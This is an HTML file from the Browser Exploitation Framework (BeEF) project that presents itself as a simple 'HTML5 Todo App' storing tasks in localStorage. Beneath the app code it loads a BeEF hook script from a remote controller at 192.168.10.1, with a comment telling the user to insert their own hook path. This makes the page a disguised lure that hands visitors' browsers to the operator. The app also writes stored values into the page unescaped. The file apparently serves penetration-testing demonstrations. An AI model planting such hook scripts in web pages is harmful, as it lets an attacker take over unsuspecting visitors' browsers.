93 lines
3.1 KiB
HTML
93 lines
3.1 KiB
HTML
<!--
|
|
Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
|
Browser Exploitation Framework (BeEF) - http://beefproject.com
|
|
See the file 'doc/COPYING' for copying permission
|
|
-->
|
|
<!doctype html>
|
|
<html>
|
|
<head>
|
|
<!-- originally created by Nithin Bekal -->
|
|
<title>My Todo List</title>
|
|
<style>
|
|
body { background: #0f0f0f; font-family: Tahoma, sans-serif; font-size: 11px; }
|
|
header, section, footer { display: block; }
|
|
#container { background-color: #eee; margin: 0 auto; width: 300px; border: 4px solid #222; }
|
|
header h1 { text-align: center; margin: 0; padding: 15px 0;}
|
|
label { display: block; padding-bottom: 5px; text-align: center; }
|
|
#task { border: 1px solid #888; margin-left: 50px; width: 200px; }
|
|
#tasks { margin: 20px; padding: 0; }
|
|
#tasks li { list-style-type: none; padding: 5px; }
|
|
#tasks li:nth-child(2n) { background-color: #e8e8e8; }
|
|
#tasks li:nth-child(2n+1) { background-color: #ddd; }
|
|
#tasks li:hover { background-color: #ccc; }
|
|
#tasks li a { color: red; display: block; float: right; text-decoration: none; }
|
|
footer { background-color: #000; color: #aaa; padding: 20px; }
|
|
footer a { color: #aaa; }
|
|
footer a:hover { color: #eee; }
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div id="container">
|
|
<header>
|
|
<h1>HTML5 Todo App</h1>
|
|
</header>
|
|
|
|
<section id="main-content">
|
|
<div class="form-area">
|
|
<form id="tasks-form">
|
|
<label for="task">Add a task here and hit enter</label>
|
|
<input id="task" autofocus>
|
|
</form>
|
|
</div>
|
|
|
|
<ul id="tasks"></ul>
|
|
</section>
|
|
|
|
<footer>
|
|
<a href="http://nithinbekal.com/2010/12/04/a-simple-to-do-list-app-using-html5-and-local-storage/">How to create this app</a> |
|
|
</footer>
|
|
</div>
|
|
<script type="text/javascript" src="jquery-1.4.2.js"></script>
|
|
|
|
<!-- Change it with your BeEF hook path -->
|
|
<script src="http://192.168.10.1/hook.js"></script>
|
|
<!-- / Change it with your BeEF hook path -->
|
|
|
|
<script type="text/javascript">
|
|
$(document).ready(function() {
|
|
|
|
var i = 0;
|
|
|
|
// Initial loading of tasks
|
|
for( i = 0; i < localStorage.length; i++)
|
|
$("#tasks").append("<li id='task-"+ i +"'>" + localStorage.getItem('task-'+i) + " <a href='#'>x</a></li>");
|
|
|
|
// Add a task
|
|
$("#tasks-form").submit(function() {
|
|
if ( $("#task").val() != "" ) {
|
|
localStorage.setItem( "task-"+i, $("#task").val() );
|
|
$("#tasks").append("<li id='task-"+i+"'>"+localStorage.getItem("task-"+i)+" <a href='#'>x</a></li>")
|
|
$("#task-" + i).css('display', 'none');
|
|
$("#task-" + i).slideDown();
|
|
$("#task").val("");
|
|
i++;
|
|
}
|
|
return false;
|
|
});
|
|
|
|
// Remove a task
|
|
$("#tasks li a").live("click", function() {
|
|
localStorage.removeItem($(this).parent().attr("id"));
|
|
$(this).parent().slideUp('slow', function() { $(this).remove(); } );
|
|
for(i=0; i<localStorage.length; i++) {
|
|
if( !localStorage.getItem("task-"+i)) {
|
|
localStorage.setItem("task-"+i, localStorage.getItem('task-' + (i+1) ) );
|
|
localStorage.removeItem('task-'+ (i+1) );
|
|
}
|
|
}
|
|
});
|
|
});
|
|
</script>
|
|
|
|
</body>
|
|
</html> |